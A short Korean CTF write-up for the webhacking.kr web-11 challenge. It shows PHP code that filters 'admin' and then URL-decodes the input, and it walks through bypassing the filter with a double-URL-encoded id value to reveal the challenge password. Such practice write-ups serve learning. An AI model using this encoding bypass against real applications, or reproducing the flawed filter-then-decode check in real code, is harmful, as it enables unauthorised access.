

index.php로 하이퍼링크가 걸려있다.  
들어가서 소스를 보자.

[index.php](#)

다음이 소스이다.  
eregi함수로 admin을 필터링한다.  
eregi함수로 필터링한후 urldecode를 하니 url인코딩을 해서 넣어주면 될 것 같다.  
<?


```
if(ereg("admin",$_GET[id])) { echo("<p>no!"); exit(); }
```

```
$_GET[id]=urldecode($_GET[id]);
```

```
if($_GET[id]=="admin")  
{  
echo("Password is ####<br>");  
}
```

```
?>
```

admin을 url인코딩한값은 %61%64%6d%69%6e이다.  
get메소드이므로 id에 넣어보자.

 <http://webhacking.kr/challenge/web/web-11/index.php?id=%61%64%6d%69%6e>

ereg의 필터링에 걸렸다.  
no!

원래 url디코딩을 해서그런거니, 두 번 해보자.

다음은 admin을 url인코딩 두 번 한 값이다. %2561%2564%256d%2569%256e  
url에 get형식으로 넣어보자.

 <http://webhacking.kr/challenge/web/web-11/index.php?id=%2561%2564%256d%2569%256e>

필터링을 우회하고 패스워드를 얻었다.

Password is enc0deing

[index.php](#)